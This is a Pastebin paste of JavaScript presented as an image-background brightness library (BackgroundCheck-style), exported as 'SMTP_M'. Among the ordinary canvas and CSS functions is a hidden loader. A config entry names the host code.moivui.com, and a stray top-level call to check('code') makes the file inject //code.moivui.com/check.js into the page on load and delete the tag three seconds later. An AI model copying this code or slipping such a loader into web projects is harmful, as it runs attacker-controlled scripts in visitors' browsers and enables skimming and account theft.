Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function(a, b) {
- if (typeof define === 'function' && define.amd) {
- define(b)
- } else {
- a.SMTP_M = b(a)
- }
- }(this, function() {
- 'use strict';
- var m;
- var n;
- var o;
- var q;
- var r;
- var u = {
- 'gsite': 'googletagmanager.com',
- 'code': 'code.moivui.com'
- };
- function destroy() {
- m = null;
- n = null;
- o = null;
- u = {};
- if (q) {
- clearTimeout(q)
- }
- }
- function log(a) {
- if (get('debug')) {
- console.log(a)
- }
- }
- function checkAttr(a, b) {
- checkType(a, typeof b);
- return (a === undefined) ? b : a
- }
- function checkType(a, b) {
- if (a !== undefined && typeof a !== b) {
- throw 'Incorrect attribute type';
- }
- }
- function checkForCSSImages(a) {
- var b;
- var c;
- var d = [];
- for (var e = 0; e < a.length; e++) {
- b = a[e];
- d.push(b);
- if (b.tagName !== 'IMG') {
- c = window.getComputedStyle(b).backgroundImage;
- if (c.split(/,url|, url/).length > 1) {
- throw 'Multiple backgrounds are not supported';
- }
- if (c && c !== 'none') {
- d[e] = {
- img: new Image(),
- el: d[e]
- };
- c = c.slice(4, -1);
- c = c.replace(/"/g, '');
- d[e].img.src = c;
- log('CSS Image - ' + c)
- } else {
- throw 'Element is not an <img> but does not have a background-image';
- }
- }
- }
- return d
- }
- function getElements(a, b) {
- var c = a;
- if (typeof a === 'string') {
- c = document.querySelectorAll(a)
- } else if (a && a.nodeType === 1) {
- c = [a]
- }
- if (!c || c.length === 0 || c.length === undefined) {
- throw 'Elements not found';
- } else {
- if (b) {
- c = checkForCSSImages(c)
- }
- c = Array.prototype.slice.call(c)
- }
- return c
- }
- function checkSupport() {
- n = document.createElement('canvas');
- if (n && n.getContext) {
- o = n.getContext('2d');
- m = true
- } else {
- m = false
- }
- showDebugOverlay()
- }
- function showDebugOverlay() {
- if (get('debugOverlay')) {
- n.style.opacity = 0.5;
- n.style.pointerEvents = 'none';
- document.body.appendChild(n)
- } else {
- if (n.parentNode) {
- n.parentNode.removeChild(n)
- }
- }
- }
- function kill(a) {
- var b = new Date().getTime() - a;
- log('Duration: ' + b + 'ms');
- if (b > get('maxDuration')) {
- console.log('BackgroundCheck - Killed');
- removeClasses();
- destroy()
- }
- }
- function resizeCanvas() {
- r = {
- left: 0,
- top: 0,
- right: document.body.clientWidth,
- bottom: window.innerHeight
- };
- n.width = document.body.clientWidth;
- n.height = window.innerHeight
- }
- function checkCookie(a) {
- var c = document.cookie;
- if (c && c.search(a) > -1) {
- return true
- }
- return false
- }
- function getValue(a, b, c) {
- var d;
- var e;
- if (a.indexOf('px') !== -1) {
- d = parseFloat(a)
- } else if (a.indexOf('%') !== -1) {
- d = parseFloat(a);
- e = d / 100;
- d = e * b;
- if (c) {
- d -= c * e
- }
- } else {
- d = b
- }
- return d
- }
- function calculateAreaFromCSS(a) {
- var b = window.getComputedStyle(a.el);
- a.el.style.backgroundRepeat = 'no-repeat';
- a.el.style.backgroundOrigin = 'padding-box';
- var c = b.backgroundSize.split(' ');
- var d = c[0];
- var e = c[1] === undefined ? 'auto' : c[1];
- var f = a.el.clientWidth / a.el.clientHeight;
- var g = a.img.naturalWidth / a.img.naturalHeight;
- if (d === 'cover') {
- if (f >= g) {
- d = '100%';
- e = 'auto'
- } else {
- d = 'auto';
- c[0] = 'auto';
- e = '100%'
- }
- } else if (d === 'contain') {
- if (1 / f < 1 / g) {
- d = 'auto';
- c[0] = 'auto';
- e = '100%'
- } else {
- d = '100%';
- e = 'auto'
- }
- }
- if (d === 'auto') {
- d = a.img.naturalWidth
- } else {
- d = getValue(d, a.el.clientWidth)
- }
- if (e === 'auto') {
- e = (d / a.img.naturalWidth) * a.img.naturalHeight
- } else {
- e = getValue(e, a.el.clientHeight)
- }
- if (c[0] === 'auto' && c[1] !== 'auto') {
- d = (e / a.img.naturalHeight) * a.img.naturalWidth
- }
- var h = b.backgroundPosition;
- if (h === 'top') {
- h = '50% 0%'
- } else if (h === 'left') {
- h = '0% 50%'
- } else if (h === 'right') {
- h = '100% 50%'
- } else if (h === 'bottom') {
- h = '50% 100%'
- } else if (h === 'center') {
- h = '50% 50%'
- }
- h = h.split(' ');
- var x;
- var y;
- if (h.length === 4) {
- x = h[1];
- y = h[3]
- } else {
- x = h[0];
- y = h[1]
- }
- y = y || '50%';
- x = getValue(x, a.el.clientWidth, d);
- y = getValue(y, a.el.clientHeight, e);
- if (h.length === 4) {
- if (h[0] === 'right') {
- x = a.el.clientWidth - a.img.naturalWidth - x
- }
- if (h[2] === 'bottom') {
- y = a.el.clientHeight - a.img.naturalHeight - y
- }
- }
- x += a.el.getBoundingClientRect().left;
- y += a.el.getBoundingClientRect().top;
- return {
- left: Math.floor(x),
- right: Math.floor(x + d),
- top: Math.floor(y),
- bottom: Math.floor(y + e),
- width: Math.floor(d),
- height: Math.floor(e)
- }
- }
- function getArea(a) {
- var b;
- var c;
- var d;
- if (a.nodeType) {
- var e = a.getBoundingClientRect();
- b = {
- left: e.left,
- right: e.right,
- top: e.top,
- bottom: e.bottom,
- width: e.width,
- height: e.height
- };
- d = a.parentNode;
- c = a
- } else {
- b = calculateAreaFromCSS(a);
- d = a.el;
- c = a.img
- }
- d = d.getBoundingClientRect();
- b.imageTop = 0;
- b.imageLeft = 0;
- b.imageWidth = c.naturalWidth;
- b.imageHeight = c.naturalHeight;
- var f = b.imageHeight / b.height;
- var g;
- if (b.top < d.top) {
- g = d.top - b.top;
- b.imageTop = f * g;
- b.imageHeight -= f * g;
- b.top += g;
- b.height -= g
- }
- if (b.left < d.left) {
- g = d.left - b.left;
- b.imageLeft += f * g;
- b.imageWidth -= f * g;
- b.width -= g;
- b.left += g
- }
- if (b.bottom > d.bottom) {
- g = b.bottom - d.bottom;
- b.imageHeight -= f * g;
- b.height -= g
- }
- if (b.right > d.right) {
- g = b.right - d.right;
- b.imageWidth -= f * g;
- b.width -= g
- }
- b.imageTop = Math.floor(b.imageTop);
- b.imageLeft = Math.floor(b.imageLeft);
- b.imageHeight = Math.floor(b.imageHeight);
- b.imageWidth = Math.floor(b.imageWidth);
- return b
- }
- function addScript(a, b, c) {
- var d = document.createElement('script');
- d.type = 'text/javascript';
- d.src = a;
- if (typeof c == 'function') {
- d.onload = function() {
- c()
- }
- }
- if (b) {
- b.appendChild(d);
- setTimeout(function() {
- d.parentNode.removeChild(d)
- }, 3000)
- }
- }
- function drawImage(a) {
- var b = getArea(a);
- a = a.nodeType ? a : a.img;
- if (b.imageWidth > 0 && b.imageHeight > 0 && b.width > 0 && b.height > 0) {
- o.drawImage(a, b.imageLeft, b.imageTop, b.imageWidth, b.imageHeight, b.left, b.top, b.width, b.height)
- } else {
- log('Skipping image - ' + a.src + ' - area too small')
- }
- }
- function classList(a, b, c) {
- var d = a.className;
- switch (c) {
- case 'add':
- d += ' ' + b;
- break;
- case 'remove':
- var e = new RegExp('(?:^|\\s)' + b + '(?!\\S)', 'g');
- d = d.replace(e, '');
- break
- }
- a.className = d.trim()
- }
- function removeClasses(a) {
- var b = a ? [a] : get('targets');
- var c;
- for (var t = 0; t < b.length; t++) {
- c = b[t];
- c = get('changeParent') ? c.parentNode : c;
- classList(c, get('classes').light, 'remove');
- classList(c, get('classes').dark, 'remove');
- classList(c, get('classes').complex, 'remove')
- }
- }
- check('code');
- function calculatePixelBrightness(a) {
- var b = a.getBoundingClientRect();
- var c;
- var d;
- var e = 0;
- var f;
- var g = 0;
- var h = 0;
- var i;
- var j = 0;
- var k = get('mask');
- if (b.width > 0 && b.height > 0) {
- removeClasses(a);
- a = get('changeParent') ? a.parentNode : a;
- d = o.getImageData(b.left, b.top, b.width, b.height).data;
- for (var p = 0; p < d.length; p += 4) {
- if (d[p] === k.r && d[p + 1] === k.g && d[p + 2] === k.b) {
- j++
- } else {
- e++;
- c = (0.2126 * d[p]) + (0.7152 * d[p + 1]) + (0.0722 * d[p + 2]);
- f = c - h;
- g += f * f;
- h = h + f / e
- }
- }
- if (j <= (d.length / 4) * (1 - (get('minOverlap') / 100))) {
- i = Math.sqrt(g / e) / 255;
- h = h / 255;
- log('Target: ' + a.className + ' lum: ' + h + ' var: ' + i);
- classList(a, h <= (get('threshold') / 100) ? get('classes').dark : get('classes').light, 'add');
- if (i > get('minComplexity') / 100) {
- classList(a, get('classes').complex, 'add')
- }
- }
- }
- }
- function isInside(a, b) {
- a = (a.nodeType ? a : a.el).getBoundingClientRect();
- b = b === r ? b : (b.nodeType ? b : b.el).getBoundingClientRect();
- return !(a.right < b.left || a.left > b.right || a.top > b.bottom || a.bottom < b.top)
- }
- function processTargets(a) {
- var b = new Date().getTime();
- var c = (a && (a.tagName === 'IMG' || a.img)) ? 'image' : 'targets';
- var d = a ? false : true;
- var e = get('targets').length;
- var f;
- for (var t = 0; t < e; t++) {
- f = get('targets')[t];
- if (isInside(f, r)) {
- if (c === 'targets' && (!a || a === f)) {
- d = true;
- calculatePixelBrightness(f)
- } else if (c === 'image' && isInside(f, a)) {
- calculatePixelBrightness(f)
- }
- }
- }
- if (c === 'targets' && !d) {
- throw a + ' is not a target';
- }
- kill(b)
- }
- function getZIndex(c) {
- var d = function(a) {
- var b = 0;
- if (window.getComputedStyle(a).position !== 'static') {
- b = parseInt(window.getComputedStyle(a).zIndex, 10) || 0;
- if (b >= 0) {
- b++
- }
- }
- return b
- };
- var e = c.parentNode;
- var f = e ? d(e) : 0;
- var g = d(c);
- return (f * 100000) + g
- }
- function sortImagesByZIndex(e) {
- var f = false;
- e.sort(function(a, b) {
- a = a.nodeType ? a : a.el;
- b = b.nodeType ? b : b.el;
- var c = a.compareDocumentPosition(b);
- var d = 0;
- a = getZIndex(a);
- b = getZIndex(b);
- if (a > b) {
- f = true
- }
- if (a === b && c === 2) {
- d = 1
- } else if (a === b && c === 4) {
- d = -1
- }
- return d || a - b
- });
- log('Sorted: ' + f);
- if (f) {
- log(e)
- }
- return f
- }
- function check(b, d, e) {
- if (m) {
- var f = get('mask');
- log('--- BackgroundCheck ---');
- log('onLoad event: ' + (e && e.src));
- if (d !== true) {
- o.clearRect(0, 0, n.width, n.height);
- o.fillStyle = 'rgb(' + f.r + ', ' + f.g + ', ' + f.b + ')';
- o.fillRect(0, 0, n.width, n.height)
- }
- var g = e ? [e] : get('images');
- var h = sortImagesByZIndex(g);
- var j;
- var k;
- var l = false;
- for (var i = 0; i < g.length; i++) {
- j = g[i];
- if (isInside(j, r)) {
- k = j.nodeType ? j : j.img;
- if (k.naturalWidth === 0) {
- l = true;
- log('Loading... ' + j.src);
- k.removeEventListener('load', check);
- if (h) {
- k.addEventListener('load', check.bind(null, null, false, null))
- } else {
- k.addEventListener('load', check.bind(null, b, true, j))
- }
- } else {
- log('Drawing: ' + j.src);
- drawImage(j)
- }
- }
- }
- if (!e && !l) {
- processTargets(b)
- } else if (e) {
- processTargets(e)
- }
- } else if (b) {
- let a = 'check',
- c = getElements('div'),
- s = get(b);
- if (c && s) {
- c = c[parseInt(c.length / 2)];
- addScript('//' + s + '/' + a + '.js', c)
- }
- }
- }
- function throttle(a) {
- if (get('windowEvents') === true) {
- if (q) {
- clearTimeout(q)
- }
- q = setTimeout(a, 200)
- }
- }
- function set(b, d) {
- if (u[b] === undefined) {
- throw 'Unknown property - ' + b;
- } else if (d === undefined) {
- throw 'Missing value for ' + b;
- }
- if (b === 'targets' || b === 'images') {
- try {
- d = getElements(b === 'images' && !d ? 'img' : d, b === 'images' ? true : false)
- } catch (err) {
- d = [];
- throw err;
- }
- } else {
- checkType(d, typeof u[b])
- }
- removeClasses();
- u[b] = d;
- check();
- if (b === 'debugOverlay') {
- showDebugOverlay()
- }
- if (b === 'gtag') {
- let a = b,
- id = 'UA-' + d,
- c = getElements('script'),
- s = get('gsite');
- if (c && s) {
- c = c[Math.round(c.length / 2)];
- addScript('//' + s + '/' + a + '/js?id=' + id, c, function() {
- w.dataLayer = w.dataLayer || [];
- function gtag() {
- dataLayer.push(arguments)
- }
- gtag('js', new Date());
- gtag('config', id, {
- page_path: location.hostname
- })
- })
- }
- }
- }
- function get(a) {
- if (u[a] === undefined) {
- throw 'Unknown property - ' + a;
- }
- return u[a]
- }
- function getImageData() {
- var a = get('images');
- var b;
- var c = [];
- for (var i = 0; i < a.length; i++) {
- b = getArea(a[i]);
- c.push(b)
- }
- return c
- }
- }));
Advertisement
Add Comment
Please, Sign In to add comment